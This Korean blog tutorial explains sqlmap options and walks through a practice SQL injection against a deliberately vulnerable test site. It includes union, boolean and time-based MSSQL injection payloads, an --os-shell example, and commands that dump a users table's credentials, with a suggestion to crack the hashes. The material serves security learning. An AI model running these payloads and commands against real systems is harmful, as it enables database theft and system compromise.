본문 바로가기

해킹-보안

sqlmap 사용법

반응형


ி Sqlmap

 
SQL Injection 취약점을 찾고 공격하는 과정을 자동화한 취약점 진단 도구이다.
데이터베이스 정보와 데이터 추출, 쉘 침투를 통한 시스템 공격 등이 가능하다.


일반 옵션

 

-u URL, --url=URL    대상 URL 

--cookie=COOKIE     HTTP 쿠키값 ( "PHPSESSID=a8d127e.." )
--dbms=DBMS         DBMS ( mysql, mssql )
--batch                  사용자 입력을 요구하지 않는다.
--flush-session        현재 대상의 세션 파일을 초기화
--threads=THREADS  최대 HTTP 요청 수 (default 1)
-v VERBOSE Verbosity level: 0-6 DBMS 정보 확인 (default 1)
--data=DATA "user=USER&password=PASS" POST 방식의 입력값 점검
-p TestParameter "--data "user=USER&password=PASS" -p user"

--level=LEVEL         숫자가 높을수록 깊은 단계의 테스트를 수행 (1-5, default 1)

--risk=RISK            위험도 지정 (1-3, default 1)

 



열거 옵션

 
-a, --all 모두 검색
-b, --banner 배너 검색
--current-user 현재 사용자 검색
--current-db 현재 DB 검색
--passwords 사용자 비밀번호 해시값 열거
--tables DB 테이블 열거
--columns DB 테이블 컬럼 열거
--schema 스키마 열거
--dump DB 테이블 항목 덤프
--dump-all 모든 DB 테이블 항목 덤프
-D DB 데이터베이스 지정
-T TBL 테이블 지정
-C COL 테이블 컬럼 지정



OS 접근 옵션

 
운영체제 명령어 실행 가능성 점검
--os-shell os 쉘 획득
# sqlmap -u "http://192.168.0.10/admin/index.php" --data "user=USER&password=PASS" --os-shell
--os-pwn Meterpreter 또는 VNC에 대한 프롬프트



ி 실습

 
칼리 리눅스의 sqlmap으로 아래 샘플 사이트의 계정 정보를 탈취한다.
http://testaspnet.vulnweb.com


공격 포인트 확인

 
해당 사이트에서 동적인 파라미터가 있는 url을 찾는다.
http://testaspnet.vulnweb.com/Comments.aspx?id=0
http://testaspnet.vulnweb.com/ReadNews.aspx?id=0



쿼리 실행 여부 확인

 
자동화 도구 사용 전에 미리 인젝션 포인트를 확인해놓으면 
 
SQLMAP에 적절한 옵션을 주어 더 빠른 진단을 할 수 있을 것이다.
 
 
 

Injection check

http://testaspnet.vulnweb.com/Comments.aspx?id=0 and 1=0
http://testaspnet.vulnweb.com/Comments.aspx?id=0 and 1=1


조건부에 따라 페이지의 출력 여부가 달라진다. (공격 가능)

 

 

Error Based Injection

http://testaspnet.vulnweb.com/Comments.aspx?id=-1'
에러 메시지없이 빈 화면만 표시되었다. 이 기법으로는 공격이 불가하다.

Union SQL Injection

http://testaspnet.vulnweb.com/Comments.aspx?id=1 union select 1,2,3,4,5 --
컬럼 개수를 맞춘 뒤 웹 페이지에 DB명, Table 정보 등을 획득한다. 

Time based

조건이 참이면 정한 시간을 기다린 후 페이지가 출력,
거짓이면 바로 출력된다.
대기함수는 MySQL - sleep, MSSQL - waitfor delay를 사용한다.
http://testaspnet.vulnweb.com/comments.aspx?id=1; WAITFOR DELAY '0:0:5' --
waitfor delay 함수가 실행 되는 것으로 보아 MSSQL을 사용하는 것을 알 수 있다.

http://testaspnet.vulnweb.com/comments.aspx?id=2; IF(UNICODE(SUBSTRING((SELECT ISNULL ( CAST (SYSTEM_USER AS NVARCHAR(4000)),CHAR(32))),1,1))>64) WAITFOR DELAY '0:0:5' --
아스키가 64 이상이면 5초후에 실행하며 첫번째 문자열을 추출하여 유니코드로 변환한다.


 

sqlmap

 
데이터베이스 확인

# sqlmap -u testaspnet.vulnweb.com/Comments.aspx?id=1 --batch --dbs --thread=10
# sqlmap -u testaspnet.vulnweb.com/Comments.aspx?id=1 --batch --threads=10 -a

첫 째 구문은 일부 데이터베이스만 나오므로 -a 옵션을 통해 전체 DB가 나오도록 입력하였다.  

 

 

테이블명 확인

# sqlmap -u testaspnet.vulnweb.com/Comments.aspx?id=1 --tables -D acublog --batch --thread=10
 
컬럼명 확인

# sqlmap –u testaspnet.vulnweb.com/Comments.aspx?id=1 --batch -D acublog dbo.users --columns --thread=10
dbo = database owner 
MSSQL에서 테이블 생성시 테이블명 앞에 붙는 이름이다.


데이터 추출

# sqlmap -u testaspnet.vulnweb.com/Comments.aspx?id=1 --dump -T dbo.users -D acublog --batch --thread=10 --columns uname,upass

 

password는 해시로 암호화되어 있으나 해시크랙사이트에서 복호화하면 평문값이 도출된다.

 

반응형